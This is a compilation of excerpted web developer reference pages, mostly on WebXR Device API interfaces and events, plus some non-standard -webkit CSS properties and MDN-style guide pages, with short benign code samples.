XRPermissionStatus - Web APIs
Properties In addition to the properties listed below, XRPermissionStatus includes the properties defined by its parent interface, PermissionStatus. granted An array of strings listing the names of the features for which permission has been granted as of the time at which navigator.permissions.query() was called. ...
...which navigator.permissions.query() was called. Any feature which was specified in either the optionalFeatures or requiredFeatures when calling navigator.permissions.query() are listed in granted if and only if permission to use them is granted. Methods No methods are defined by XRPermissionStatus. Usage notes Examples Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRPermissionStatus' in that specification. Working Draft Initial definition. ...
XRPose - Web APIs
The XRSpace--which is either an XRReferenceSpace or an XRBoundedReferenceSpace--defines the coordinate system used for the pose and, in the case of an XRViewerPose, its underlying views. To obtain the XRPose for the XRSpace used as the local coordinate system of an object, call XRFrame.getPose(), specifying that local XRSpace and the space to which you wish to convert: thePose = xrFrame.getPose(localSpace, baseSpace); The pose for a viewer (or camera) is represented by the XRViewerPose subclass of XRPose. ...
... backward, and side-to-side motion of the viewer). If any component of the transform is computed or created artificially (such as by using mouse or keyboard controls to move through space), this value is instead true, indicating that the transform is in part emulated in software. Example <<<--- TODO: Needs example --->>> Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRPose' in that specification. Working Draft Initial definition. ...
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
this code, we obtain a local reference space, then use getOffsetReferenceSpace() to create a new space whose origin is adjusted to a position given by startPosition and whose orientation is looking directly along the Z azis. Then the first animation frame is requested using XRSession's requestAnimationFrame(). Implementing rotation based on non-XR inputs The input controls supported directly by
WebXR are all dedicated VR or AR input devices. In order to use mouse, keyboard, or other input devices to move or otherwise transform objects in the 3D space--or to allow the user to move through the space--you'll need to write some code to read the inputs and move perform the movements. This is another good use case for getOffsetReferenceSpace(). In this example, we'll show code that lets the user...
...e viewer's position is unchanged, but their orientation has been altered based on the pitch and yaw values generated from the accumulated mouse inputs. applyMouseMovement() should be called when drawing a frame, immediately before fetching the viewer's pose using getViewerPose(), and the rendering should be performed in this reference space. You can see code similar to this in use in our broader
WebXR tutorial article called Movement, orientation, and motion. In particular, check out the section called Starting the
WebXR session. Specifications Specification Status Comment
WebXR Device APIThe definition of 'getOffsetReferenceSpace()' in that specification. Working Draft Initial definition. ...
XRReferenceSpace - Web APIs
The tracking behavior is defined by the selected reference space type. It expands upon the base class, XRSpace, by adding support for several different tracking behaviors as well as to request a new reference space which describes the offset transform between the tracked object and another location in the world. All reference spaces--with the sole exception being bounded reference spaces--are described using the XRReferenceSpace type. Bounded spaces are implemented as XRBoundedReferenceSpace objects. ...
... Working Draft Initial definition. ...
XRReferenceSpaceEvent() - Web APIs
Currently, only the reset event is defined using this type. Syntax let refSpaceEvent = new XRReferenceSpaceEvent(type, eventInitDict); Parameters type A DOMString indicating the event type which has occurred. Currently, this is always reset. eventInitDict An object based on the XRReferenceSpaceEventInit dictionary, containing data used to initialize the new event object. ...
...re: referenceSpace The XRReferenceSpace from which the event originated. transform An XRRigidTransform which maps the old coordinate system (from before the changes indicated by this event) to the new coordiante system. Return value A new XRReferenceSpaceEvent object, initialized as defined by the input parameters. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRReferenceSpaceEvent()' in that specification. Working Draft Initial definition. ...
XRReferenceSpaceEvent - Web APIs
Currently, the only event that uses this type is the reset event. Constructor XRReferenceSpaceEvent() Returns a new XRReferenceSpaceEvent with the specified type and configured using the values in the given XRReferenceSpaceEventInit dictionary. Properties In addition to inheriting the properties available on the parent interface, Event, XRReferenceSpaceEvent objects include the following properties: referenceSpace Read only An XRReferenceSpace indicating the reference space that generated the event. ...
... reference space when its native origin is changed due to a discontinuity, recalibration, or device reset. This is an opportunity for your app to update any stored transforms, position/orientation information, or the like--or to dump any cached values based on the reference's space's origin so you can recompute them as needed. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRReferenceSpaceEvent' in that specification. Working Draft Initial definition. ...
XRReferenceSpaceEventInit - Web APIs
Properties referenceSpace The XRReferenceSpace from which the event originated. ...
...erties must have valid values set on them before calling the XRReferenceSpaceEvent() constructor. Examples This simple snippet calls the constructor to create a new reference space event of type reset. let refSpaceEvent = new XRReferenceSpaceEvent("reset", { referenceSpace: myRefSpace, transform: myTransform }); Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRReferenceSpaceEventInit' in that specification. Working Draft Initial definition. ...
XRReferenceSpaceType - Web APIs
This type is used when calling the requestReferenceSpace() method to obtain a reference space for an XRSession. Values The reference space returned by XRSession.requestReferenceSpace() is either XRReferenceSpace or XRBoundedReferenceSpace. The "Interface" column in the table below indicates which of the two types is returned for each reference space type constant.. Reference space descriptors The types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them. ...
...es of XRSession, both immersive and inline, though it's most useful for inline sessions. It's particularly useful when determining the distance between the viewer and an input, or when working with offset spaces. Otherwise, typically, one of the other reference space types will be used more often. XRReferenceSpace Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRReferenceSpaceType' in that specification. Working Draft Initial definition. ...
XRRenderStateInit - Web APIs
derStateInit dictionary is a writeable version of the XRRenderState interface, and is used when calling an XRSession's updateRenderState() method to apply changes to the render state prior to rendering the next frame. All distances are specified as floating-point values in meters; you can specify a value of 50 centimeters using a value of 0.5, for example. Properties baseLayer Optional An XR
WebGLLayer object from which the
WebXR compositor will obtain imagery. This is null by default. depthFar Optional A floating-point value specifying the distance in meters from the viewer to the far clip plane, which is a plane parallel to the display surface beyond which no further rendering will occur. All rendering will take place between the distances specified by depthNear and depthFar. This is...
...perty must not be specified for immersive sessions, so the value is null by default for immersive sessions. The default value is otherwise ? * 0.5 (half of the value of pi). Usage notes Any properties not specified in the XRRenderStateInit compliant object passed into updateRenderState() are left at their current values. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRRenderStateInit' in that specification. Working Draft Initial definition. ...
XRRigidTransform - Web APIs
The transform of an XRView. The transform of an XRPose. The XRReferenceSpaceEvent event's transform property, as found in the reset event received by an XRReferenceSpace. The advantage to using XRRigidTransform in these places rather than bare arrays that providing the matrix data is that the XRRigidTransform automatically does things like computing the inverse of the transform. ...
...mationFrame() method. xrSession.requestReferenceSpace(refSpaceType) .then((refSpace) => { xrReferenceSpace = refSpace; xrReferenceSpace = xrReferenceSpace.getOffsetReferenceSpace( new XRRigidTransform(viewerStartPosition, cubeOrientation)); animationFrameRequestID = xrSession.requestAnimationFrame(drawFrame); Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRRigidTransform' in that specification. Working Draft Initial definition. ...
XRSession.cancelAnimationFrame() - Web APIs
y requested by calling requestAnimationFrame. Syntax xrSession.cancelAnimationFrame(handle); Parameters handle The unique value returned by the call to requestAnimationFrame() that previously scheduled the animation callback. Return value None. Usage notes This function has no effect if the specified handle cannot be found. Example In the example below we see code which starts up a
WebXR session if immersive VR mode is supported. Once started, the session schedules its first frame to be rendered by calling requestAnimationFrame(). The pauseXR() function shown at the bottom can be called to suspend the
WebVR session, in essence, by canceling any pending animation frame callback. Since each frame callback schedules the next one, removing the callback terminates updating of the W...
... Working Draft Initial definition. ...
XRSession.environmentBlendMode - Web APIs
he computer-generated imagery is overlaid atop the real world. This is used to differentiate between fully-immersive VR sessions and AR sessions which render over a pass-through image of the real world, possibly partially transparently. The value is a DOMString which contains one of the values defined by the XREnvironmentBlendMode enumerated type. Important: environmentBlendMode is part of the
WebXR Augmented Reality Module, which has not yet reached a stable state. You should use caution when using its features. Syntax blendMode = xrSession.environmentBlendMode; Value A DOMString whose value is one of the strings found in the enumerated type XREnvironmentBlendMode, defining if--and if so, how--virtual, rendered content is overlaid atop the image of the real world. Permitted values a...
...sion's renderState.baseLayer property provides relative weights of the artificial layer during the compositing process. Pixels whose alpha value is 1.0 are rendered fully opaque, totally obscuring the real world, while pixels with an alpha of 1.0 are totally transparent, leaving the surrounding environment to pass through. Specifications Specification Status Comment
WebXR Augmented Reality ModuleThe definition of 'XRSession.environmentBlendMode' in that specification. Working Draft Initial definition. ...
XRSession.inputSources - Web APIs
he read-only inputSources property of the XRSession interface returns an XRInputSourceArray object which lists all controllers and input devices which are expressly associated with the XR device and are currently available. These controllers may include handheld controllers, XR-equipped gloves, optically tracked hands, and gaze-based input methods. Keyboards, gamepads, and mice are not considered
WebXR input sources. Note: Traditional gamepad controllers are supported using the Gamepad API. Syntax inputSources = xrSession.inputSources; Value An XRInputSourceArray object listing all of the currently-connected input controllers which are linked specifically to the XR device currently in use. The returned object is live; as devices are connected to and removed from the user's system, the ...
...reflect the changes. Usage notes You can add a handler for the XRSession event inputsourceschange to be advised when the contents of the session's connected devices list changes. You can then either get the value of inputSources to examine the list, or you can refer to a reference to the list that you've previously saved. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSession.inputSources' in that specification. Working Draft Initial definition. ...
XRSession.onselect - Web APIs
n a primary action is completed successfully by the user. This typically represents the pressing of a button or trigger, a hand gesture, or a spoken command. The select event is sent after tracking of the primary action begins, as announced by the selectstart event, and immediately before the tracking of the primary action ends, which is announced by the selectend event. To learn more about how
WebXR actions work, see Inputs and input sources. Syntax xrSession.onselect = selectHandlerFunction; Value An event handler function to be invoked when the XRSession receives a select event. Example This example handles select event which occur on the user's main hand (as given by a user object's handedness property); if that value matches the value of the XRInputSource property handedness, we...
... Working Draft Initial definition. ...
XRSession: select event - Web APIs
Examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. Bubbles Yes Cancelable No Interface XRInputSourceEvent Event handler property onselect For details on how the selectstart, select, and selectend events work, and how you should react to them, see Primary actions in Inputs and input sources. Examples The following example uses addEventListener() to set up a handler for the select event. ...
... Working Draft Initial definition. ...
XRSession: selectend event - Web APIs
Primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. Bubbles Yes Cancelable No Interface XRInputSourceEvent Event handler property onselectend For details on how the selectstart, select, and selectend events work, and how you should react to them, see Primary actions in Inputs and input sources. ...
... Working Draft Initial definition. ...
XRSession: selectstart event - Web APIs
Primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. Bubbles Yes Cancelable No Interface XRInputSourceEvent Event handler property onselectstart For details on how the selectstart, select, and selectend events work, and how you should react to them, see Primary actions in Inputs and input sources. Examples The following example uses addEventListener() to establish handlers for the selection events: selectstart, selectend, and select. ...
... Working Draft Initial definition. ...
XRSession: squeeze event - Web APIs
Examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. Bubbles Yes Cancelable No Interface XRInputSourceEvent Event handler property onsqueeze For details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see Primary squeeze actions in Inputs and input sources. Examples The following example uses addEventListener() to set up a handler for the squeeze event. ...
... Working Draft Initial definition. ...
XRSession: squeezeend event - Web APIs
Primary squeeze actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. ...
... Working Draft Initial definition. ...
XRSession: squeezestart event - Web APIs
Primary squeeze actions are actions which are meant to represent gripping or squeezing using your hands, and may be simulated using triggers on hand controllers. Bubbles Yes Cancelable No Interface XRInputSourceEvent Event handler property onsqueezestart For details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see Primary squeeze actions in Inputs and input sources. Examples The following example uses addEventListener() to establish handlers for the squeezeion events: squeezestart, squeezeend, and squeeze. ...
... Working Draft Initial definition. ...
XRSession: visibilitychange event - Web APIs
the session's visibilityState property to determine the new visibility state. Bubbles Yes Cancelable No Interface XRSessionEvent Event handler property onvisibilitychange When the XRSession receives this event, the visibility state has already been changed. ...
...n mySessionVisible(), with a Boolean parameter indicating whether or not the session is presently being displayed to the user. You can also create the event handler by assigning it to the XRSession's onvisibilitychange event handler property, like this: xrSession.onvisibilitychange = (e) => { /* event handled here */ }; Specifications Specification Status Comment
WebXR Device APIThe definition of 'visibilitychange event' in that specification. Working Draft Initial definition. ...
XRSessionEvent() - Web APIs
These objects represent events announcing state changes in an XRSession representing an augmented or virtual reality session. Syntax newXRSessionEvent = new XRSessionEvent(type, eventInitDict); Parameters type A DOMString indicating which of the events represented by objects of type XRSessionEvent this particular object represents. See Event types for a list of the permitted values. eventInitDict An object conforming to the XRSessionEventInit dictionary which contains values to be applied to the newly-created event object. Permitted values are: session The XRSession to which the event is to be delivered. ...
...nce, spin up or reconfigure a worker that handles rendering the scene. xrSession.addEventListener("visibilitystate", e => { switch(e.session.visibilitystate) { case "visible": case "visible-blurred": mySessionVisible(true); break; case "hidden": mySessionVisible(false); break; } }); Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSessionEvent() constructor' in that specification. Working Draft Initial definition. ...
XRSessionEvent.session - Web APIs
The read-only XRSessionEvent interface's session property indicates which XRSession the event is about. Syntax xrSession = xrSessionEvent.session; Value An XRSession object indicating which
WebXR session the event refers to. Examples In this example, the session property is used to obtain the session object to manage when an event is received. ...
... Working Draft Initial definition. ...
XRSessionEvent - Web APIs
These events occur, for example, when the session ends or the visibility of its context changes. Constructor XRSessionEvent() Creates and returns a new XRSessionEvent object configured using the specified XRSessionEventInit object's values as available. Properties In addition to properties inherited from its parent interface, Event, XRSessionEvent provides the folllowing: session Read only The XRSession to which the event refers. Methods While XRSessionEvent defines no methods, it inherits methods from its parent interface, Event. ...
...nce, spin up or reconfigure a worker that handles rendering the scene. xrSession.addEventListener("visibilitystate", e => { switch(e.session.visibilitystate) { case "visible": case "visible-blurred": mySessionVisible(true); break; case "hidden": mySessionVisible(false); break; } }); Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSessionEvent' in that specification. Working Draft Initial definition. ...
XRSpace - Web APIs
Numeric values such as pose positions are thus coordinates in the corresponding XRSpace, relative to that space's origin. Note: The XRSpace interface is never used directly; instead, all spaces are created using one of the interfaces based on XRSpace. At this time, those are XRReferenceSpace and XRBoundedReferenceSpace. ...
...er's headset or other motion-sensitive device. Properties The XRSpace interface defines no properties of its own; however, it does inherit the properties of its parent interface, EventTarget. Methods The XRSpace interface provides no methods of its own. However, it inherits the methods of EventTarget, its parent interface. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSpace' in that specification. Working Draft Initial definition. ...
XRSystem: devicechange event - Web APIs
vent. Bubbles No Cancelable No Interface Event Event handler XRSystem.ondevicechange Usage notes devicechange events are not delivered if the document which owns the XRSystem object has been granted permission to do so through the xr-spatial-tracking feature policy. You can use this event to, for example, monitor for the availability of a
WebXR-compatible device so that you can enable a UI element which the user can use to activate immersive mode. This is shown in the example below. Example The example shown here handles the devicechange event by toggling the availability of the "Enter XR" button based on whether or not any immersive devices are currently available. if (navigator.xr) { navigator.xr.addEventListener("devicechange"...
...e that can handle immersive VR presentations. If there is, the button to enter XR mode is enabled; otherwise it's disabled. You can also use the ondevicechange event handler property to set a single handler for devicechange events: if (navigator.xr) { navigator.xr.ondevicechange = event => { /* ... etc ... */ }; } Specifications Specification Status Comment
WebXR Device APIThe definition of 'devicechange event' in that specification. Working Draft Initial definition. ...
XRTargetRayMode - Web APIs
Targeting may be done by looking at the target using a gaze-tracking system, pointing at the target with a hand controller, glove, or motion-tracking system, or by tapping or clicking on the target using a finger on a screen or with a mouse. Typically a target ray is drawn from the source of the targeting system along the target ray in the direction in which the user is looking or pointing. The style of the ray is generally up to you, as is the method for indicating the endpoint of the ray. The targeted point or object might be indicated by drawing a shape or highlighting the targeted surface or object. A target ray emitted by a hand controller. ...
... Working Draft Initial definition. ...
XRView.transform - Web APIs
es are created outside the rendering loop; this avoids repeatedly allocating and deallocating the matrices, and generally reduces overhead by reusing the same matrix for each object rendered. Then we iterate over each XRView found in the XRViewerPose's list of views. There will usually be two: one for the left eye and one for the right, but there may be only one if in monoscopic mode. Currently,
WebXR doesn't support more than two views per pose, although room has been left to extend the specification to support that in the future with some additions to the API. For each view, we obtain its viewport and pass that to
WebGL using gl.viewport(). For the left eye, this will be the left half of the canvas, while the right eye will use the right half. Then we iterate over each object that makes ...
... the normals for the model view matrix by inverting it, then transposing it. Finally, we call the object's render() routine, passing along the modelViewMatrix and normalMatrix so the renderer can place and light the object properly. Note: This example is derived from a larger example... <<<--- finish and add link --->>> Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRView.transform' in that specification. Working Draft Initial definition. ...
XRViewport.y - Web APIs
The read-only XRViewport interface's y property indicates the offset from the bottom edge of the destination surface (typically a XR
WebGLLayer to the bottom edge of the viewport within the surface into which
WebXR content is to be rendered. The viewport's x property identifies the x component of the origin, and its is given by the width and height properties. Syntax y = xrViewport.y; Value The offset from the bottom edge of the rendering surface to the bottom edge of the viewport, in pixels. Note: Although other
web APIs typically consider the y axis to begin at the top and grow larger progressing downward,
WebGL reverses this, with y growing larger as it goes upward on the screen. Examples See the main XRViewport page for examples. Specifications Specification Statu...
...ge of the rendering surface to the bottom edge of the viewport, in pixels. Note: Although other
web APIs typically consider the y axis to begin at the top and grow larger progressing downward,
WebGL reverses this, with y growing larger as it goes upward on the screen. Examples See the main XRViewport page for examples. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRViewport.y' in that specification. Working Draft Initial definition. ...
XSLTProcessor - Web APIs
for the parameter as specified in the stylesheet. A null value for namespaceURI is treated the same as an empty string. void XSLTProcessor.clearParameters() Removes all set parameters from the XSLTProcessor. The XSLTProcessor will then use the defaults specified in the XSLT stylesheet. void XSLTProcessor.reset() Removes all parameters and stylesheets from the XSLTProcessor. Properties Non-
Web-exposed properties The following properties are [ChromeOnly] and not exposed to
Web content: [ChromeOnly] attribute unsigned long XSLTProcessor.flags Flags that tweak the behavior of the processor. Not reset by calling XSLTProcessor.reset(). Default value: 0 Possible values are: Name Value Effect (None) 0 None DISABLE_ALL_LOADS ...
... Name Value Effect (None) 0 None DISABLE_ALL_LOADS 1 Disable loading external documents (via e.g. <xsl:import> and document()) Examples Basic example Advanced example Additional example Specifications Not part of any specification. This is a proprietary interface that originated in Gecko. Gecko IDL XSLTProcessor.
webidl nsIXSLTProcessor.idl ...
-webkit-mask-attachment - CSS: Cascading Style Sheets
If a -
webkit-mask-image is specified, -
webkit-mask-attachment determines whether the mask image's position is fixed within the viewport, or scrolls along with its containing block. /* Keyword values */ -
webkit-mask-attachment: scroll; -
webkit-mask-attachment: fixed; -
webkit-mask-attachment: local; /* Multiple values */ -
webkit-mask-attachment: scroll, local; -
webkit-mask-attachment: fixed, local, scroll; /* Global values */ -
webkit-mask-attachment: inherit; -
webkit-mask-attachment: initial; -
webkit-mask-attachment: unset; Syntax Values scroll If scroll is specified, the mask image scrolls within the viewport along with the block that contains the mask image. fixed If fixed is specified, the mask image does not scroll with its containing element, instead remaining statio...
...mage. fixed If fixed is specified, the mask image does not scroll with its containing element, instead remaining stationary within the viewport. Formal definition Initial valuescrollApplies toall elementsInheritednoComputed valueas specifiedAnimation typediscrete Formal syntax <attachment>#where <attachment> = scroll | fixed | local Examples Fixing a mask image to the viewport body { -
webkit-mask-image: url('images/mask.png'); -
webkit-mask-attachment: fixed; } Specifications Not part of any standard. ...
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
Syntax Values auto Use "regular" scrolling, where the content immediately ceases to scroll when you remove your finger from the touchscreen. touch Use momentum-based scrolling, where the content continues to scroll for a while after finishing the scroll gesture and removing your finger from the touchscreen. The speed and duration of the continued scrolling is proportional to how vigorous the scroll gesture was. Also creates a new stacking context. ...
...specifiedAnimation typediscrete Formal syntax auto | touch Examples HTML <div class="scroll-touch"> <p> This paragraph has momentum scrolling </p> </div> <div class="scroll-auto"> <p> This paragraph does not. </p> </div> CSS div { width: 100%; overflow: auto; } p { width: 200%; background: #f5f9fa; border: 2px solid #eaf2f4; padding: 10px; } .scroll-touch { -
webkit-overflow-scrolling: touch; /* Lets it scroll lazy */ } .scroll-auto { -
webkit-overflow-scrolling: auto; /* Stops scrolling immediately */ } Results Specifications Not part of any standard. Apple has a description in the Safari CSS Reference. ...
-webkit-tap-highlight-color - CSS: Cascading Style Sheets
-
webkit-tap-highlight-color is a non-standard CSS property that sets the color of the highlight that appears over a link while it's being tapped. The highlighting indicates to the user that their tap is being successfully recognized, and indicates which element they're tapping on. -
webkit-tap-highlight-color: red; -
webkit-tap-highlight-color: transparent; /* for removing the highlight */ Syntax Values A <color value>. Formal definition Initial valueblackApplies toall elementsInheritednoComputed valueas specifiedAnimation typediscrete Formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]? ) | rgb( <number>{3} [ / <alpha-value> ]? ) ...
... ...
-webkit-touch-callout - CSS: Cascading Style Sheets
The -
webkit-touch-callout CSS property controls the display of the default callout shown when you touch and hold a touch target. When a target is touched and held on iOS, Safari displays a callout information about the link. This property allows disabling that behavior. /* Keyword values */ -
webkit-touch-callout: default; -
webkit-touch-callout: none; /* Global values */ -
webkit-touch-callout: initial; -
webkit-touch-callout: inherit; -
webkit-touch-callout: unset; Syntax Values default The default callout is displayed. none The callout is disabled. ...
...lues */ -
webkit-touch-callout: initial; -
webkit-touch-callout: inherit; -
webkit-touch-callout: unset; Syntax Values default The default callout is displayed. none The callout is disabled. Formal definition Initial valuedefaultApplies toall elementsInheritedyesComputed valueas specifiedAnimation typediscrete Formal syntax default | none Examples Turn off touch callout .example { -
webkit-touch-callout: none; } Specifications Not part of any standard. Apple has a description in the Safari CSS Reference. ...
::-webkit-meter-even-less-good-value - CSS: Cascading Style Sheets
The ::-
webkit-meter-even-less-good-value gives a red color to a <meter> element when the value and the optimum attributes fall outside the low-high range, but in opposite zones. To illustrate, it applies when value < low < high < optimum or value > high > low > optimum. Syntax ::-
webkit-meter-even-less-good-value Specifications Not part of any standard. ...
...red color to a <meter> element when the value and the optimum attributes fall outside the low-high range, but in opposite zones. To illustrate, it applies when value < low < high < optimum or value > high > low > optimum. Syntax ::-
webkit-meter-even-less-good-value Specifications Not part of any standard. ...
::-webkit-progress-bar - CSS: Cascading Style Sheets
The ::-
webkit-progress-bar CSS pseudo-element represents the entire bar of a <progress> element. Normally it's only visible as the unfilled portion of the bar, since by default it's rendered below the ::-
webkit-progress-value pseudo-element. It is a child of the ::-
webkit-progress-inner-element pseudo-element and the parent of the ::-
webkit-progress-value pseudo-element. Note: For ::-
webkit-progress-value to take effect, appearance needs to be set to none on the <progress> element. ...
...lly it's only visible as the unfilled portion of the bar, since by default it's rendered below the ::-
webkit-progress-value pseudo-element. It is a child of the ::-
webkit-progress-inner-element pseudo-element and the parent of the ::-
webkit-progress-value pseudo-element. Note: For ::-
webkit-progress-value to take effect, appearance needs to be set to none on the <progress> element. Syntax ::-
webkit-progress-bar Examples CSS content progress { -
webkit-appearance: none; } ::-
webkit-progress-bar { background-color: orange; } HTML content <progress value="10" max="50"> Result Result screenshot If you're not using a
WebKit or Blink browser, the code above results in a progress bar that looks like this: Specifications Not part of any standard. ...
::-webkit-progress-inner-element - CSS: Cascading Style Sheets
The ::-
webkit-progress-inner-element CSS pseudo-element represents the outermost container of the <progress> element. It is the parent of the ::-
webkit-progress-bar pseudo-element. Note: In order to let ::-
webkit-progress-value take effect, -
webkit-appearance needs to be set to none on the <progress> element. Syntax ::-
webkit-progress-inner-element Examples These examples work only on Blink and
WebKit. Adding a black border around the progress bar In this example, a 2px black border is added around the progress bar. ...
...n order to let ::-
webkit-progress-value take effect, -
webkit-appearance needs to be set to none on the <progress> element. Syntax ::-
webkit-progress-inner-element Examples These examples work only on Blink and
WebKit. Adding a black border around the progress bar In this example, a 2px black border is added around the progress bar. HTML <progress value="10" max="50"> CSS progress { -
webkit-appearance: none; } ::-
webkit-progress-inner-element { border: 2px solid black; } Result Result screenshot If you're not using a Blink or
WebKit browsear, the above code resuls in a progress bar looking like this: Specifications Not part of any standard. ...
-webkit-transform-2d - CSS: Cascading Style Sheets
The -
webkit-transform-2d Boolean CSS media feature is a Chrome extension whose value is true if vendor-prefixed CSS 2D transforms are supported. Apple has a description in Safari CSS Reference. Syntax -
webkit-transform-2d is a Boolean CSS media feature whose value is true if the browser supports -
webkit prefixed CSS 2D transforms. Values true The browser supports the 2D CSS transforms with the -
webkit prefix. false The 2D CSS transforms prefixed with -
webkit are not supported by the browser. Examples Basic example @media (-
webkit-transform-2d) { div { -
webkit-transform: translate(100px, 100px); } } This media feature is only supported by
WebKit. ...
... true The browser supports the 2D CSS transforms with the -
webkit prefix. false The 2D CSS transforms prefixed with -
webkit are not supported by the browser. Examples Basic example @media (-
webkit-transform-2d) { div { -
webkit-transform: translate(100px, 100px); } } This media feature is only supported by
WebKit. If possible, use an @supports feature query instead: @supports (-
webkit-transform: translate(100px, 100px)) { div { -
webkit-transform: translate(100px, 100px); } } Specifications Not part of any standard. ...
-webkit-transform-3d - CSS: Cascading Style Sheets
The -
webkit-transform-3d Boolean CSS media feature is a Chrome extension whose value is true if vendor-prefixed CSS 3D transforms are supported. Note: This media feature is only supported by
WebKit and Blink. If possible, use an @supports feature query instead. Syntax -
webkit-transform-3d is a Boolean CSS media feature whose value is true if the browser supports -
webkit prefixed CSS 3D transforms. Values true The browser supports the 3D CSS transforms with the -
webkit prefix. false The 3D CSS transforms prefixed with -
webkit are not supported by the browser. ...
...t and Blink. If possible, use an @supports feature query instead. Syntax -
webkit-transform-3d is a Boolean CSS media feature whose value is true if the browser supports -
webkit prefixed CSS 3D transforms. Values true The browser supports the 3D CSS transforms with the -
webkit prefix. false The 3D CSS transforms prefixed with -
webkit are not supported by the browser. Examples @media (-
webkit-transform-3d) { .foo { transform-style: preserve-3d; } } @media (-
webkit-transform-3d: 1) { .foo { transform-style: preserve-3d; } } Specifications Specification Status Comment Compatibility StandardThe definition of '-
webkit-transform-3d' in that specification. Living Standard Initial standardization Safari CSS Reference 'media...
-webkit-transition - CSS: Cascading Style Sheets
The -
webkit-transition Boolean CSS media feature is a Chrome extension whose value is true if the browsing context supports CSS transitions. It was never supported in browsers not based on
WebKit or Blink. Apple has a description in Safari CSS Reference; this is now called simply transition there. Note: You should not use this media feature; it was never specified, has never been widely implemented, and has been removed from all browsers. Use an @supports feature query instead. Syntax @media (-
webkit-transition) { /* CSS to use if transitions are supported */ } Examples Use @supports instead Do not use the -
webkit-transition media feature. Instead, test for transition support using the CSS @supports at-rule, like this: @supports (transition: initial) { /* CSS to use ...
...yntax @media (-
webkit-transition) { /* CSS to use if transitions are supported */ } Examples Use @supports instead Do not use the -
webkit-transition media feature. Instead, test for transition support using the CSS @supports at-rule, like this: @supports (transition: initial) { /* CSS to use if transitions are supported */ } Obsolete example Before this became obsolete, you could use -
webkit-transition in your CSS like this: @media (-
webkit-transition) { /* CSS to use if transitions are supported */ } Specifications Not part of any standard. ...
Guide to Web APIs - Developer guides
The
web includes a wide array of APIs that can be used from JavaScript to build increasingly more powerful and capable applications, running either on the
web, locally, or through technology such as Node.js, on a server. On this page you'll find a complete list of all of the APIs provided by the full
web technology stack.
Web APIs from A to Z AAmbient Light EventsBBackground TasksBattery API BeaconBluetooth APIBroadcast Channel APICCSS Counter StylesCSS Font Loading API CSSOMCanvas APIChannel Messaging APIConsole APICredential Management APIDDOMEEncoding APIEncrypted Media ExtensionsFFetch APIFile System API Frame Timing APIFullscreen APIGGamepad API Geolocation APIHHTML Drag and Drop APIHigh Resolution TimeHistory APIIImage Capture APIIndexedDBIntersection Observer APILLong ...
...a Source Extensions MediaStream RecordingNNavigation TimingNetwork Information API PPage Visibility APIPayment Request APIPerformance APIPerformance Timeline APIPermissions APIPointer EventsPointer Lock APIProximity Events Push API RResize Observer APIResource Timing APISServer Sent EventsService Workers APIStorageStorage Access APIStreams TTouch EventsUURL APIVVibration APIVisual Viewport W
Web Animations
Web Audio API
Web Authentication API
Web Crypto API
Web Notifications
Web Storage API
Web Workers API
WebGL
WebRTC
WebVTT
WebXR Device API
Websockets API ...
Web Audio playbackRate explained - Developer guides
This article explains playbackRate in detail. playbackRate basics Let's starting by looking at a brief example of playbackRate usage: var myAudio = document.createElement('audio'); myAudio.setAttribute('src','audiofile.mp3'); myAudio.playbackRate = 0.5; Here we create an <audio> element, and set its src to a file of our choice. ...
...ich represents half normal speed (the playbackRate is a multiplier applied to the original rate.) A complete example Let's create a <video> element first, and set up video and playback rate controls in HTML: <video id="myVideo" controls> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type='video/mp4' /> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.
webm" type='video/
webm' /> </video> <form> <input id="pbr" type="range" value="1" min="0.5" max="4" step="0.1" > <p>Playback Rate <span id="currentPbr">1</span></p> </form> And apply some JavaScript to it: window.onload = function () { var v = document.getElementById("myVideo"); var p = document.getElementById("pbr"); var c = document.getElementById("currentPbr"); p.addEventListener(...
Graphics on the Web - Developer guides
Websites and applications often need to present graphics, such as images. Static images can easily be displayed using the <img> element, or by setting the background of HTML elements using the background-image property. You can also construct graphics on-the-fly, or manipulate images after the fact. These articles provide insight into how you can accomplish this. 2D Graphics Canvas The <canvas> element provides APIs to draw 2D graphics using JavaScript. SVG Scalable Vector Graphics (SVG) lets you use lines, curves, and other geometric shapes to render graphics. With vectors, you can create images that scale cleanly to any size. View All... 3D Graphics
WebGL A guide to getting started with
WebGL, the 3D graphics API for the
Web. This technology lets you use standard O...
...ement provides APIs to draw 2D graphics using JavaScript. SVG Scalable Vector Graphics (SVG) lets you use lines, curves, and other geometric shapes to render graphics. With vectors, you can create images that scale cleanly to any size. View All... 3D Graphics
WebGL A guide to getting started with
WebGL, the 3D graphics API for the
Web. This technology lets you use standard OpenGL ES in
